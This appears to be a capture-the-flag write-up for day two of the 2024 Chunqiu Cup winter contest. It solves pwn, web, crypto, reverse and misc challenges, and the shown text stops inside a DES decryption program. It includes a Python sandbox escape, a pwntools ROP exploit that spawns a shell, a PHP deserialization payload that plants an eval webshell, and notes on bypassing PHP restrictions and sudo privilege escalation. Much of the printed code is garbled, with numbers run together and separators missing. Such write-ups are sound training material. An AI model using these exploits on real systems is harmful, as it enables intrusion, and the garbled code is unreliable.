春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

admin 2025年1月20日13:35:58评论26 views字数 34190阅读113分58秒阅读模式

01

   python jail

02

   golf revenge

03

   right_data

04

   Pyhumor

05

   cpy

06

   easy_http

07

   b0okshelf

08

   mygo

09

   factor

10

   skip

11

   Nu1tka

比赛持续报名中,欢迎各位选手报名!

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

python jail

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

exp

def b():
 def a():yield g.gi_frame.f_back.f_back.f_back.f_back
 g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()

然后改一下弄成base64就好了

import base64

"""
def b():
    def a():yield g.gi_frame.f_back.f_back.f_back.f_back
    g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
"
""

m = "def b():n def a():yield g.gi_frame.f_back.f_back.f_back.f_backn g=a();g=[x for x in g][0];return g.f_globals['BOX']ns=b()"
p = base64.b64encode(m.encode())
print(p)
print(len(m))

基于栈帧沙箱逃逸,通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

gofl revenge

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

46字符内生成1000以内的质数

就是用一些python的技巧就好了,有大概两个字符的容错(最低大概44个字符左右)

这里仅仅给出46个字符的

k,P,*s=1,1,
while k<1e3:s+=P%k*[k];P*=k*k;k+=1

然后改一下弄成base64就好了

如何造出这个代码,我们先写一个正常的生成1000以内质数的代码

k = 1
P = 1
s = []
for k in range(2, 1000):
    if P % k != 0:
        s.append(k)
        P*=k*k
print(s)

然后通过Unpacking assignment可以把

k = 1
P = 1
s = []

写成

k,P,*s=1,1,

然后对于后面的

for k in range(2, 1000):
    if P % k != 0:
        s.append(P)
        P*=k

我们可以用while来代替for这样子可以保证字符更少,然后把1000用1e3表示,即

while k<1e3:
    if P % k != 0:
        s.append(P)
        P*=k
    k+=1

而对于中间的判断,!=可以用>来减少一个字符,然后去掉if用布尔短路解决即P%k>0 and s.append(k),但是这样子还是不够。

我们知道如果list加上一个空集是不会变化的,那么我们可以写成s+=P%k*[k],这样子s要嘛加上[质数],要嘛加上空集

import base64

s = base64.b64encode(b"k,P,*s=1,1,nwhile k<1e3:s+=P%k*[k];P*=k*k;k+=1")
print(len(base64.b64decode(s)))
print(s)
# ayxQLCpzPTEsMSwKd2hpbGUgazwxZTM6cys9UCVrKltrXTtQKj1rKms7ays9MQ==
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

right_data

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

from tqdm import *


modulus = 257


def find(i, j):
    for t in range((modulus - 1) ** 2 - 1):
        if (i * coefs1[t] + j * coefs2[t]) % modulus == values[t]:
            return False
    return True


def findflag():
    for i in range(1, modulus):
        for j in range(1, modulus):
            if find(i, j):
                return chr((j - i) % modulus)


flag = ""
with open("output.txt""r") as f:
    for _ in trange(0, 42):
        coefs1 = []
        coefs2 = []
        values = []
        for i in range((modulus - 1) ** 2 - 1):
            s = f.readline().replace("n""").split(" ")
            coefs1.append(int(s[0]))
            coefs2.append(int(s[1]))
            values.append(int(s[2]))
        flag += findflag()
print(flag)

flag{087834ea-dcbf-488a-a713-e496b3130d40}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

Pyhumor

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

ida根据字符串定位check函数,attach后动调

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

看到长度判断,确定flag长度为40

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

创建了两个数组,一个长度为5,一个为4

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

从内存中取出对应的值(注意python虚拟机中每32bit只存放30bit,取出来的数得自行转换一下)
[0xfbbc7f84591ff3930x360c751ee6bd9abd0x60854fc80d82350a0x139692ebf3ee3c4f0x8571b17650a42bd4]
[0xf656460d0xda1442600xeef1c9430xe4390f66]

将输入转化成ascii数组

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

用int.from_bytes将ascii数组转化成八字节的数组

然后是加密过程,遍历上面的八字节数组

右移62位,相当于取了高2个字节

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

原数据又移两位,然后&0xffffffffffffffff

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

根据高2位从四字节数组中取出一个数后和待加密数据进行异或

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

此时我们可以看出这是个魔改的crc64,加密轮数为32轮,跟到比较可以看到长度为5的数组是密文

还原加密算法

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

根据crc64的原理,我们可以发现key的低2位是不一样的,根据此解密拿到flag

import libnum
def decrypt(datas):
    for j in range(len(datas)):
        data=datas[j]
        for i in range(32):
            low=data&0b11
            if low==0:
                data^=0xda144260
                data>>=2
                data|=(1<<62)
            if low==3:
                data ^= 0xeef1c943
                data >>= 2
                data |= (2 << 62)
            if low==1:
                data ^= 0xf656460d
                data >>= 2
                data |= (0 << 62)
            if low==2:
                data ^= 0xe4390f66
                data >>= 2
                data |= (3 << 62)
        datas[j]=data
    return datas
enc = [0xfbbc7f84591ff3930x360c751ee6bd9abd0x60854fc80d82350a0x139692ebf3ee3c4f0x8571b17650a42bd4]
flag=decrypt(enc)
for i in flag:
    print(libnum.n2s(i).decode()[::-1],end="")

flag{131d48c0-b255-e996-ae74-bc43426ea6}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

easy_http

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

选手首先需要逆向得到数据格式。

通过部分逆向的源码或者猜测,判断出主函数通过fork函数来不断产生子进程,并在子进程上进行各种操作

若选手没有注意到操作发生在子进程,则可能误认为考察点在于堆上的UAF;而子进程相互隔离,因此不可能通过堆上来进行利用。

构造好简易http数据包,要求如下:

  • Host
  • Content
  • Content-Length

此外,每个参数还具有不同的要求,包括最大值等。

而校验时,错误使用了&&||

    if (!valid_host && !valid_length && !valid_content)
    {
        return 0;
    }

导致只要三个属性中有一个满足要求即可。

又:

memcpy(real_content, content, length);

因此合理控制content-lengthcontent,有一个几乎无限制的栈溢出。

随后,通过校验后,有如下几个路由,代表几个不同的功能:

  • show
  • add
  • delete
  • edit

里面存在UAF,但无法利用。

选手需要排除干扰,通过多次栈溢出来获得shell

因此,构造两个数据包,第一个泄露canary,第二个rop拿下shell

from pwn import *

filename = './pwn'
context.arch='amd64'
context.log_level = "debug"
context.terminal = ['tmux''neww']
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc

if local:
    sh = process(filename)
else:
    sh = remote('localhost'9999)

def debug(params=''):
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid+2, params)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

# debug("")

template = '''POST /{} HTTP/1.1r
Host: www.baidu.comr
User-Agent: Hahar
Content-Length: {}r
Content: {}r
'''

payload = template.format("show"0x109'a'*0x109)
sh.send(payload)

sh.recvuntil(b'a'*0x109)
canary = u64(sh.recv(7).rjust(8b'x00'))
leak_info('canary', canary)

pop_5 = 0x40a9d7
pop_rdi = 0x40296f
pop_rsi = 0x40a9de
pop_rdx_2 = 0x4a4c4b
pop_rax = 0x459227
syscall = 0x422fe6
pop_rsp = 0x402dce
leave_ret = 0x401b01
ret = 0x40101a
bss = 0x4E8700

chain = b'a'*0x108 + p64(canary) + p64(0xdeadbeaf)
chain += p64(pop_5) + (b'a'*0x15 + b'/addx00').ljust(0x28b'a')
chain += p64(pop_rdi) + p64(0)
chain += p64(pop_rsi) + p64(bss)
chain += p64(pop_rdx_2) + p64(0x100)*2
chain += p64(pop_rax) + p64(0)
chain += p64(syscall)
chain += p64(pop_rax) + p64(59)
chain += p64(pop_rdi) + p64(bss)
chain += p64(pop_rsi) + p64(0)
chain += p64(pop_rdx_2) + p64(0)*2
chain += p64(syscall)

template = '''POST /{} HTTP/1.1r
Host: www.baidu.comr
User-Agent: Hahar
Content-Length: {}r
Content: '''


chain = chain
payload = template.format("add", len(chain)).encode('utf-8')
payload += chain + b'rn'

sh.send(payload)

sh.send('/bin/shx00')

sh.interactive()
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

b0okshelf

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

发现备份文件

通过 robots.txt 文件,我们发现了一个 backup.zip 文件。robots.txt 是一个用于告诉搜索引擎哪些页面不应被抓取的文件,但有时会泄露一些敏感信息。下载 backup.zip 后,我们可以获取源码。

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

分析源码

源码显示项目使用了 PHP 的 serialize 来存储数据。serialize 函数将 PHP 变量转换为可存储或传输的字符串,但如果不安全地使用,可能会导致反序列化漏洞。

file_put_contents('books/' . $book->id . '.info', waf(serialize($book)));
function waf($data)
{
    return str_replace("'""\'", $data);
}

由于对序列化后的内容进行过滤, 导致会存在字符增多的情况下的字符逃逸.

我们可以尝试逃逸掉 Reader 中的路径, 从而使其能够变成任意路径

利用字符逃逸漏洞

字符逃逸漏洞允许我们构造一个 payload 来覆盖路径,从而实现任意文件写入, 我们可以写入一句话木马。

<?php

class Book
{
    public $id;
    public $title;
    public $author;
    public $summary;
    public $reader;
}

class Reader
{
    public function __construct($location)
    
{
        $this->location = $location;
    }

    public function getLocation()
    
{
        return $this->location;
    }
    private $location;
    public function getContent()
    
{
        return file_get_contents($this->location);
    }
    public function setContent($content)
    
{
        file_put_contents($this->location, $content);
    }
}

$book = new Book();
$book->id = 'kengwang_aura';
$book->title = 'test';
$book->author = 'test';
$partA = '";s:6:"reader";O:6:"Reader":1:{s:16:"';
$partB = 'Reader';
$partC = 'location";s:14:"books/shel.php";}};';
$payload =  $partA . "x00" . $partB . "x00" . $partC;
$length = strlen($partA) + strlen($partB) + strlen($partC) + 2;
echo "[+] Payload length: " . $length . "n";
$book->summary = str_repeat(''', $length) . $payload;
$book->reader = new Reader('books/' . 'abc');
function waf($data)
{
    return str_replace("'""\'", $data);
}
echo "[+] Summary: ";
echo urlencode($book->summary);
$res = waf(serialize($book));
echo "n[+] Serialized payload: ";
echo base64_encode($res);
echo "n";
$newBook = unserialize($res);
echo "[+] Location: ";
echo $newBook->reader->getLocation();

注意这里的 private 其实我们可以不用封装到 x00 里面的 (7.2+), 为了保险还是这么写了

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

写入一句话木马

update.php 中,我们发现了 file_put_contents 函数。file_put_contents 可以将数据写入文件,我们可以利用它来写入一句话木马。

我们访问 update.php 将内容改为

<?php eval($_POST[0]);

绕过安全限制

写入木马后,通过蚁剑连接发现存在 disable_functions,这是 PHP 的一个配置选项,用于禁用某些函数。通过 phpinfo,我们还发现存在 open_basedir 限制,open_basedir 用于限制 PHP 只能访问指定目录。

我们可以通过 mkdirchdir 函数来绕过 open_basedir 限制。mkdir 创建目录,chdir 改变当前目录,通过这些操作,我们可以访问受限制的目录。详见 https://xz.aliyun.com/t/10070#toc-12

对于 disable_functions,蚁剑的一键绕过 disabled_function 已全部无法使用,需要手动绕过。我们使用 CN-EXT (CVE-2024-2961) 来绕过限制并执行远程代码执行(RCE),最终反弹 shell。

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

提权

反弹 shell 后,为了提升交互性以便使用 sudo 提权,我们通过 sudo -l 发现 date 命令可以无密码执行。sudo 命令允许用户以超级用户权限执行命令,sudo -l 列出当前用户可以执行的命令。

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

最后,通过 sudo date -f /flag 读取 flag。date 命令通常用于显示或设置系统日期和时间,但在这里我们利用它读取文件内容。

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

mygo

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

根据字符串定位到 sub_140001B70 为主函数

正常接收30位输入

调试可知 对输入进行了每位xor index,倒序,每位xor len-1-index,倒序

易知xor和xor抵消,倒序与倒序抵消,即相当于没有对输入做操作

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

全局变量,先xor当前字节,再乘本身

全局变量,先xor当前字节的下一个字节,再乘本身

注意因为类型原因,乘以该大数后被截断

相当于一次处理两个字节

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

比较enc和加密后的输入

同样是每两字节比较

注意比较顺序,导致需要倒序enc

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

即该题目实现了一个hash算法,因为全局变量导致前后位相关,因为逻辑代码写脚本

import string


a = string.printable


def solve2(hash, check):
    for i1 in a:
        for i2 in a:
            input = i1 + i2

            def myhash(s: str) -> str:
                t1 = 0x100000001B3
                t2 = hash
                for byte in s.encode():
                    t2 ^= byte
                    t2 = (t2 * t1) & 0xFFFFFFFFFFFFFFFF
                return f"{t2:016x}", t2  # 用0 padding到16位

            res, HASH = myhash(input)
            if res == check:
                return input, HASH


enc = [
    "08985807b541d18f",
    "d5f2d079088c0b17",
    "2282110ea3670872",
    "23826d0a97ceea45",
    "5feb92ec9da6ccc6",
    "418727fdc0a2295b",
    "bf325bb7f6fb98b9",
    "0669076ed7c9bfb3",
    "d905a4abf3eb7f22",
    "5f5741aae1954e6c",
    "8f70569021c638dd",
    "e77f76949e5db63a",
    "7f98a3f5e1b1e340",
    "9b7cd1e5a8dea236",
    "d3c21142b990e7b8",
]

hash = 0xCBF29CE484222325
input = ""
for c in enc:
    res = solve2(hash, c)
    input += res[0]
    hash = res[1]
print(input)


flag{BanGDream!ItsMyRust!!!!!}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

factor

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

设那么有

其中为小量,我们可以打copper得到分解

import itertools
from Crypto.Util.number import *
import gmpy2
from tqdm import trange

def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
R.<x,y,z>=Zmod(n)[]
n_ = int(gmpy2.iroot(n, 3)[0])
t = 2 ^ 3
P = []
for i in trange(t):
    for j in range(t):
        for k in range(t):
            f = (n_ + t * x + i) * (n_ + t * y + j) * (n_ + t * z + k)
            s = 342
            roots = small_roots(f, [2 ^ s, 2 ^ s, 2 ^ s], m=1, d=3)
            if roots:
                a, b, c = [int(ii) * t + jj if int(ii).bit_length() <= 512 else int(n - ii) * t - jj for ii, jj in zip(roots[0], [i, j, k])]
                for l in [a, b, c]:
                    p = n_ + l
                    if n % p == 0:
                        P.append(p)
                    p = n_ - l
                    if n % p == 0:
                        P.append(p)
p, q, r = set(P)
d = inverse(65537, (p - 1) * (q - 1) * (r - 1))
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988
print(long_to_bytes(pow(c, d, n)))

获得flag:

flag{24e33eda-f57c-42da-92c5-e0b39414cded}

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

skip

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

[题目writeup]:

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

jadx打开apk开始分析

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

我们可以看到有checkusrname和checkpass分别对username和password进行校验,其中username作为密钥加密password,所以我们先看username,checkusrname在native层

ida打开so文件

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

可以看出是des加密,魔改了s盒

春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析

拿出密文,密钥和s盒解密即可

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*--------------------------------------------------------------------------------------------------------------*/
typedef unsigned char ubyte;
/*--------------------------------------------------------------------------------------------------------------*/
#define KEY_LEN 8
typedef ubyte key_t[KEY_LEN];
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC1[] = {
 574941332517,  9,
 1585042342618,
 10,  25951433527,
 1911,  360524436,
 63554739312315,
 7625446383022,
 14,  66153453729,
 2113,  5282012,  4
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte PC2[] = {
 14171124,  1,  5,
 32815,  62110,
 231912,  426,  8,
 16,  7272013,  2,
 415231374755,
 304051453348,
 444939563453,
 464250362932
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP[] = {
 58504234261810,  2,
 60524436282012,  4,
 62544638302214,  6,
 64564840322416,  8,
 574941332517,  9,  1,
 59514335271911,  3,
 61534537292113,  5,
 63554739312315,  7
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte E[] = {
 32,  1,  2,  3,  4,  5,
 4,  5,  6,  7,  8,  9,
 8,  910111213,
 121314151617,
 161718192021,
 202122232425,
 242526272829,
 2829303132,  1
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte S[][64] = {
 {
                6649674110281210801126993711541313158101351310212014131114532814314411715517112901021515
        },
        {
                1024812153104834145715158079413058111462261392310719515111914131171212511014660012311113
        },
        {
                1000651391431181398151271315711751031026810932141411112131576844120114512124269451115013
        },
        {
                6121111404442153311280960813212331071512815147461417796915511010131391355111211825101410
        },
        {
                5579913056111254150121113131082133314146930710978102106141581415217615103121241841121114
        },
        {
                1461460139551107230031382159179112410981141615121411251413437115111037881551212101046132
        },
        {
                1514103315121402141280561420181134114711915112507136106121161338499134251795728153101011
        },
        {
                4741505914811130731216751241313815121195116103115141415991521212140486311736102028101013
        }
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte P[] = {
 16,  72021,
 29122817,
 1152326,
 5183110,
 2,  82414,
 3227,  3,  9,
 191330,  6,
 2211,  425
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte IP2[] = {
 40,  8481656246432,
 39,  7471555236331,
 38,  6461454226230,
 37,  5451353216129,
 36,  4441252206028,
 35,  3431151195927,
 34,  2421050185826,
 33,  141,  949175725
};
/*--------------------------------------------------------------------------------------------------------------*/
const static ubyte SHIFTS[] = {
 1122222212222221
};
/*--------------------------------------------------------------------------------------------------------------*/
typedef struct {
 ubyte *data;
 int len;
} String;
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transform a single nibble into a hex character
*
* in: a value < 0x10
*
* returns: the character that represents the nibble
*/

static char toHex(ubyte in) {
 if (0x00 <= in && in < 0x0A) {
  return '0' + in;
 }
 if (0x0A <= in && in <= 0x0F) {
  return 'A' + in - 0x0A;
 }
 return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convert an array of bytes into a string
*
* ptr: the array of bytes
* len: the number of bytes
* out: a buffer allocated by the caller with enough space for 2*len+1 characters
*/

static void printBytes(const ubyte *ptr, int len, char *out) {
 while (len-- > 0) {
  *out++ = toHex(*ptr >> 4);
  *out++ = toHex(*ptr & 0x0F);

  ptr++;
 }
 *out = 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Gets the value of a bit in an array of bytes
*
* src: the array of bytes to index
* index: the desired bit to test the value of
*
* returns: the bit at the specified position in the array
*/

static int peekBit(const ubyte *src, int index) {
 int cell = index / 8;
 int bit = 7 - index % 8;
 return (src[cell] & (1 << bit)) != 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Sets the value of a bit in an array of bytes
*
* dst: the array of bits to set a bit in
* index: the position of the bit to set
* value: the value for the bit to set
*/

static void pokeBit(ubyte *dst, int index, int value) {
 int cell = index / 8;
 int bit = 7 - index % 8;
 if (value == 0) {
  dst[cell] &= ~(1 << bit);
 }
 else {
  dst[cell] |= (1 << bit);
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Transforms one array of bytes by shifting the bits the specified number of positions
*
* src: the array to shift bits from
* len: the length of the src array
* times: the number of positions that the bits should be shifted
* dst: a bytes array allocated by the caller to store the shifted values
*/

static void shiftLeft(const ubyte *src, int len, int times, ubyte *dst) {
 int i, t;
 for (i = 0; i <= len; ++i) {
  pokeBit(dst, i, peekBit(src, i));
 }
 for (t = 1; t <= times; ++t) {
  int temp = peekBit(dst, 0);
  for (i = 1; i <= len; ++i) {
   pokeBit(dst, i - 1, peekBit(dst, i));
  }
  pokeBit(dst, len - 1, temp);
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Calculates the sub keys to be used in processing the messages
*
* key: the array of bytes representing the key
* ks: the subkeys that have been allocated by the caller
*/

typedef ubyte subkey_t[17][6]; /* 17 sets of 48 bits */
static void getSubKeys(const key_t key, subkey_t ks) {
 ubyte c[17][7];  /* 56 bits */
 ubyte d[17][4];  /* 28 bits */
 ubyte kp[7];
 int i, j;

 /* intialize */
 memset(c, 0sizeof(c));
 memset(d, 0sizeof(d));
 memset(ks, 0sizeof(subkey_t));

 /* permute 'key' using table PC1 */
 for (i = 0; i < 56; ++i) {
  pokeBit(kp, i, peekBit(key, PC1[i] - 1));
 }

 /* split 'kp' in half and process the resulting series of 'c' and 'd' */
 for (i = 0; i < 28; ++i) {
  pokeBit(c[0], i, peekBit(kp, i));
  pokeBit(d[0], i, peekBit(kp, i + 28));
 }

 /* shift the components of c and d */
 for (i = 1; i < 17; ++i) {
  shiftLeft(c[i - 1], 28, SHIFTS[i - 1], c[i]);
  shiftLeft(d[i - 1], 28, SHIFTS[i - 1], d[i]);
 }

 /* merge 'd' into 'c' */
 for (i = 1; i < 17; ++i) {
  for (j = 28; j < 56; ++j) {
   pokeBit(c[i], j, peekBit(d[i], j - 28));
  }
 }

 /* form the sub-keys and store them in 'ks'
 * permute 'c' using table PC2 */

 for (i = 1; i < 17; ++i) {
  for (j = 0; j < 48; ++j) {
   pokeBit(ks[i], j, peekBit(c[i], PC2[j] - 1));
  }
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Function used in processing the messages
*
* r: an array of bytes to be processed
* ks: one of the subkeys to be used for processing
* sp: output from the processing
*/

static void f(ubyte *r, ubyte *ks, ubyte *sp) {
 ubyte er[6]; /* 48 bits */
 ubyte sr[4]; /* 32 bits */
 int i;

 /* initialize */
 memset(er, 0sizeof(er));
 memset(sr, 0sizeof(sr));

 /* permute 'r' using table E */
 for (i = 0; i < 48; ++i) {
  pokeBit(er, i, peekBit(r, E[i] - 1));
 }

 /* xor 'er' with 'ks' and store back into 'er' */
 for (i = 0; i < 6; ++i) {
  er[i] ^= ks[i];
 }

 /* process 'er' six bits at a time and store resulting four bits in 'sr' */
 for (i = 0; i < 8; ++i) {
  int j = i * 6;
  int b[6];
  int k, row, col, m, n;

  for (k = 0; k < 6; ++k) {
   b[k] = peekBit(er, j + k) != 0 ? 1 : 0;
  }

  row = 2 * b[0] + b[5];
  col = 8 * b[1] + 4 * b[2] + 2 * b[3] + b[4];
  m = S[i][row * 16 + col]; /* apply table s */
  n = 1;

  while (m > 0) {
   int p = m % 2;
   pokeBit(sr, (i + 1) * 4 - n, p == 1);
   m /= 2;
   n++;
  }
 }

 /* permute sr using table P */
 for (i = 0; i < 32; ++i) {
  pokeBit(sp, i, peekBit(sr, P[i] - 1));
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Processing of block of the message
*
* message: an 8 byte block from the message
* ks: the subkeys to use in processing
* ep: space for an encoded 8 byte block allocated by the caller
*/

static void processMessage(const ubyte *message, subkey_t ks, ubyte *ep) {
 ubyte left[17][4];  /* 32 bits */
 ubyte right[17][4]; /* 32 bits */
 ubyte mp[8];        /* 64 bits */
 ubyte e[8];         /* 64 bits */
 int i, j;

 /* permute 'message' using table IP */
 for (i = 0; i < 64; ++i) {
  pokeBit(mp, i, peekBit(message, IP[i] - 1));
 }

 /* split 'mp' in half and process the resulting series of 'l' and 'r */
 for (i = 0; i < 32; ++i) {
  pokeBit(left[0], i, peekBit(mp, i));
  pokeBit(right[0], i, peekBit(mp, i + 32));
 }
 for (i = 1; i < 17; ++i) {
  ubyte fs[4]; /* 32 bits */

  memcpy(left[i], right[i - 1], 4);
  f(right[i - 1], ks[i], fs);
  for (j = 0; j < 4; ++j) {
   left[i - 1][j] ^= fs[j];
  }
  memcpy(right[i], left[i - 1], 4);
 }

 /* amalgamate r[16] and l[16] (in that order) into 'e' */
 for (i = 0; i < 32; ++i) {
  pokeBit(e, i, peekBit(right[16], i));
 }
 for (i = 32; i < 64; ++i) {
  pokeBit(e, i, peekBit(left[16], i - 32));
 }

 /* permute 'e' using table IP2 ad return result as a hex string */
 for (i = 0; i < 64; ++i) {
  pokeBit(ep, i, peekBit(e, IP2[i] - 1));
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Encrypts a message using DES
*
* key: the key to use to encrypt the message
* message: the message to be encrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the encoded message,
*          and the length of the encoded message.
*          the caller will need to free the memory after use.
*/

String encrypt(const key_t key, const ubyte *message, int len) {
 String result = { 00 };
 subkey_t ks;
 ubyte padByte;
 int i;

 getSubKeys(key, ks);

 padByte = 8 - len % 8;
 result.len = len + padByte;
 result.data = (ubyte*)malloc(result.len);
 memcpy(result.data, message, len);
 memset(&result.data[len], padByte, padByte);

 for (i = 0; i < result.len; i += 8) {
  processMessage(&result.data[i], ks, &result.data[i]);
 }

 return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Decrypts a message using DES
*
* key: the key to use to decrypt the message
* message: the message to be decrypted
* len: the length of the message
*
* returns: a paring of dynamically allocated memory for the decoded message,
*          and the length of the decoded message.
*          the caller will need to free the memory after use.
*/

String decrypt(const key_t key, const ubyte *message, int len) {
 String result = { 00 };
 subkey_t ks;
 int i, j;
 ubyte padByte;

 getSubKeys(key, ks);
 /* reverse the subkeys */
 for (i = 1; i < 9; ++i) {
  for (j = 0; j < 6; ++j) {
   ubyte temp = ks[i][j];
   ks[i][j] = ks[17 - i][j];
   ks[17 - i][j] = temp;
  }
 }

 result.data = (ubyte*)malloc(len);
 memcpy(result.data, message, len);
 result.len = len;
 for (i = 0; i < result.len; i += 8) {
  processMessage(&result.data[i], ks, &result.data[i]);
 }

 padByte = result.data[len - 1];
 result.len -= padByte;
 return result;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Convienience method for showing the round trip processing of a message
*/

void driver(const key_t key, const ubyte *message, int len) {
 String encoded, decoded;
 char buffer[128];

 printBytes(key, KEY_LEN, buffer);
 printf("Key     : %sn", buffer);

 printBytes(message, len, buffer);
 printf("Message : %sn", buffer);

 encoded = encrypt(key, message, len);
 printBytes(encoded.data, encoded.len, buffer);
 printf("Encoded : %sn", buffer);

 decoded = decrypt(key, encoded.data, encoded.len);
 printBytes(decoded.data, decoded.len, buffer);
 printf("Decoded : %snn", buffer);

 /* release allocated memory */
 if (encoded.len > 0) {
  free(encoded.data);
  encoded.data = 0;
 }
 if (decoded.len > 0) {
  free(decoded.data);
  decoded.data = 0;
 }
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
 String decoded;
 int len;
 //密钥
 const key_t key = {1071011213310710112133};
 //密文
